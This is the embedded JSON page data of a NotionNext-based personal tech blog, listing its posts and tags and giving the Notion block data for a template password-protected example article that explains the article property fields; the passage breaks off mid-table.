+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02\u0026width=800\u0026fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}],"blockMap":{"block":{"041a3743-f888-4476-b947-fff856745c02":{"value":{"id":"041a3743-f888-4476-b947-fff856745c02","version":12,"type":"page","content":["72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","c51f7f53-67be-4fb5-aee5-427b0cf9819c","1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","10ad4028-c0e3-4095-aa46-81b07349c917","08c43877-2376-4822-87e5-a9a62b39c716","59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f"],"format":{"page_font":"serif","page_cover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9e54f810-a708-40c4-95dd-4810f2e9b017","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1711119054674,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9e54f810-a708-40c4-95dd-4810f2e9b017","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a":{"value":{"id":"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","type":"header","properties":{"title":[["一、模板使用说明"]]},"format":{"copied_from_pointer":{"id":"8e6405ad-b52d-4a3c-8de5-e413949d3aff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"8e6405ad-b52d-4a3c-8de5-e413949d3aff"}},"c51f7f53-67be-4fb5-aee5-427b0cf9819c":{"value":{"id":"c51f7f53-67be-4fb5-aee5-427b0cf9819c","type":"text","properties":{"title":[["Notion页面中,每篇文章都有几个属性字段🤔,其说明如下:"]]},"format":{"copied_from_pointer":{"id":"a4fe4c8a-ce5a-437a-9f15-461ec2985719","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"a4fe4c8a-ce5a-437a-9f15-461ec2985719"}},"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9":{"value":{"id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","type":"table","content":["07fbfdea-71f3-4a04-a46e-d30c98197895","07124e79-05b6-45ec-acdc-7e829b5fb052","c2736488-e788-48ce-99eb-06a320f157a4","5b8bdfb5-218c-44ea-b202-3212725d5cb1","d058828b-345a-4707-911f-e5e50787f92f","0aea5ed6-6d10-4206-82b8-3ccc61405ac4","e62533e4-84e2-4e0d-b304-373e3356dda2","be987026-44c1-4cd9-89c1-9a81441c1eaf","1d362ade-698d-4fdb-a250-09125240acc6","d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","2bd9a3c8-b377-495f-a97d-1f14f07afb07"],"format":{"copied_from_pointer":{"id":"fa26eb5b-5b86-422a-ab84-8f328699ff1b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337139,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"fa26eb5b-5b86-422a-ab84-8f328699ff1b"}},"07fbfdea-71f3-4a04-a46e-d30c98197895":{"value":{"id":"07fbfdea-71f3-4a04-a46e-d30c98197895","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb"}},"07124e79-05b6-45ec-acdc-7e829b5fb052":{"value":{"id":"07124e79-05b6-45ec-acdc-7e829b5fb052","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f"}},"c2736488-e788-48ce-99eb-06a320f157a4":{"value":{"id":"c2736488-e788-48ce-99eb-06a320f157a4","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"84904f0b-1d58-4b66-877b-18500b2d4c39","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"84904f0b-1d58-4b66-877b-18500b2d4c39"}},"5b8bdfb5-218c-44ea-b202-3212725d5cb1":{"value":{"id":"5b8bdfb5-218c-44ea-b202-3212725d5cb1","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布日期"]],"`VuO":[["2021/11/05"]]},"format":{"copied_from_pointer":{"id":"9c987743-6c91-4586-8096-33d79fa25a23","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9c987743-6c91-4586-8096-33d79fa25a23"}},"d058828b-345a-4707-911f-e5e50787f92f":{"value":{"id":"d058828b-345a-4707-911f-e5e50787f92f","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"56f26e4f-6e1e-482e-8455-12d481741542","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"56f26e4f-6e1e-482e-8455-12d481741542"}},"0aea5ed6-6d10-4206-82b8-3ccc61405ac4":{"value":{"id":"0aea5ed6-6d10-4206-82b8-3ccc61405ac4","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d"}},"e62533e4-84e2-4e0d-b304-373e3356dda2":{"value":{"id":"e62533e4-84e2-4e0d-b304-373e3356dda2","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"e9a63b43-d174-4e92-ab58-48d7acebb7bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"e9a63b43-d174-4e92-ab58-48d7acebb7bf"}},"be987026-44c1-4cd9-89c1-9a81441c1eaf":{"value":{"id":"be987026-44c1-4cd9-89c1-9a81441c1eaf","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727"}},"1d362ade-698d-4fdb-a250-09125240acc6":{"value":{"id":"1d362ade-698d-4fdb-a250-09125240acc6","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"8fe3d629-3b33-4001-afb7-1221b752f3c8","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8fe3d629-3b33-4001-afb7-1221b752f3c8"}},"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa":{"value":{"id":"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v5/search"]]]]},"format":{"copied_from_pointer":{"id":"9bbf631a-8b66-4a97-a5d7-ebe36561f113","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9bbf631a-8b66-4a97-a5d7-ebe